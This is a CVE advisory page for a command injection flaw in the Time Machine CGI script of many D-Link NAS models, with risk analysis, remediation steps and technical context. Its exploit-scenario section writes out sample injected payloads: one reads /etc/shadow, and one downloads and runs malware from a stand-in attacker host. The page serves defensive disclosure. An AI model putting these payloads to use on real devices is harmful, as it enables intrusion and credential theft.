Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents moderate-to-high real-world risk despite the CVSS 6.3 score being in the 'medium' range. Key risk factors: (1) Attack Vector is Network (AV:N) and Attack Complexity is Low (AC:L), meaning exploitation is trivial once authenticated; (2) Requires Privilege Level Low (PR:L), reducing barriers—many NAS devices have default credentials or users set weak passwords; (3) Public POC is available on GitHub, dramatically lowering the skill floor for attackers; (4) Scope is Unchanged (S:U) but the Confidentiality, Integrity, and Availability impacts are all Low (C:L/I:L/A:L), though in practice command injection on a NAS typically permits full system compromise, suggesting CVSS underestimates severity; (5) CVSS Exploitability rating shows Proof-of-Concept (E:P) and Reliability is Reasonable (RC:R). The SSVC perspective: exploitation status is Proof-of-Concept (public), the attack is automatable, and technical impact on a NAS (data access, system control) is significant. Organizations operating these NAS models in production should treat this as HIGH PRIORITY for patching, particularly if internet-facing or in environments with user access. The authentication requirement provides a modest protective factor but is insufficient given typical NAS deployment patterns where credentials are shared or weak. |
| Exploit ScenarioDerived | An attacker gains low-privilege access to a D-Link NAS device (e.g., via credential stuffing against default or weak credentials, or as a legitimate limited user). The attacker browses to the NAS web interface and navigates to Time Machine share settings. Using the publicly available POC from GitHub (wudipjq/my_vuln repository), the attacker crafts a request to /cgi-bin/time_machine.cgi with a malicious 'Name' parameter containing shell metacharacters, such as: 'Name=Share1; cat /etc/shadow #' or 'Name=$(wget http://attacker.com/malware -O /tmp/x && bash /tmp/x)'. The unsanitized parameter is passed to a system command (likely a shell script or exec call), executing the injected payload with root privileges. The attacker achieves remote code execution, potentially exfiltrating NAS data, modifying backups, pivoting to the internal network, or installing persistent backdoors. The entire attack takes minutes with the public POC and requires no deep technical skill. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 16, 2026
Command injection in D-Link NAS devices (DNS-320, DNS-327L, DNS-345 and others) through the time_machine.cgi script allows authenticated remote attackers to execute arbitrary commands with network access. Public exploit code exists for this vulnerability, and no patch is currently available.
Earlier versions of this analysis (1)
A command injection vulnerability exists in D-Link NAS devices' Time Machine CGI handler that allows authenticated attackers to execute arbitrary commands remotely via the 'Name' parameter in /cgi-bin/time_machine.cgi. The vulnerability affects 20 D-Link NAS models up to firmware version 20260205, with public exploit code available on GitHub. While requiring authenticated access (PR:L), the flaw enables complete system compromise and is rated CVSS 6.3 with confirmed public proof-of-concept availability.
RemediationAI
Immediate remediation steps: (1) Check D-Link support website (https://www.dlink.com/) for available firmware updates newer than 20260205 for your specific NAS model; (2) Apply firmware patches when available; (3) Until patches are available, implement network-level mitigations: restrict access to the NAS web interface (port 80/443) to trusted networks only, use a firewall or VPN to limit CGI exposure; (4) Enforce strong authentication—change default credentials and mandate complex passwords for all NAS user accounts; (5) Disable the Time Machine sharing feature in the NAS administration panel if not in use; (6) Monitor for suspicious activity in NAS logs (attempts to access /cgi-bin/time_machine.cgi with unusual parameters); (7) Segment NAS devices from the public internet and limit inbound access to specific hosts. No official vendor advisory or patch timeline is currently available in references; contact D-Link support directly for patch availability and advisory details.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in the cgi_tm_set_share function within /cgi-bin/time_machine.cgi, a CGI application handling Time Machine (macOS backup) share configuration on D-Link NAS appliances. The root cause is classified as CWE-77 (Improper Neutralization of Special Elements used in a Command, aka 'Command Injection'). The affected products are NAS storage devices from D-Link's DNS and DNR product lines (CPE: cpe:3:a:d-link:dns-*:*:*:*:*:*:*:*:* and cpe:3:a:d-link:dnr-*:*:*:*:*:*:*:*:*), which are network-attached storage systems running embedded Linux with CGI-based web administration interfaces. The flaw permits an authenticated user to inject shell metacharacters into the 'Name' parameter, which is then passed unsanitized to system commands, allowing arbitrary command execution with the privileges of the web server process (typically root in embedded NAS appliances).
Know when Dnr 202l gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
A security flaw has been discovered in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. Affected by this vulnerability is the function cgi_tm_set_share of the file /cgi-bin/time_machine.cgi. The manipulation of the argument Name results in command injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.
Executive ViewAI
Organizations using A security flaw should be aware of moderate risk from CVE-2026-4210, a command injection vulnerability rated CVSS 6.3. Exploitation could allow attackers to execute code or inject malicious input. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: deploy WAF rules, restrict network access, enable logging.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in D-Link DNS NAS Command Injection Flaws
View all 11Stack-based buffer overflow in D-Link NAS devices enables authenticated remote attackers to execute arbitrary code with
Stack-based buffer overflow in D-Link NAS device management interfaces allows authenticated remote attackers to execute
Stack-based buffer overflow in D-Link NAS devices allows authenticated remote attackers to achieve complete system compr
Stack-based buffer overflow in D-Link NAS devices enables remote code execution with high integrity impact for authentic
Improper access controls in D-Link network-attached storage devices (DNS-120 through DNS-1550-04, firmware versions up t
EUVD-2026-12283
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB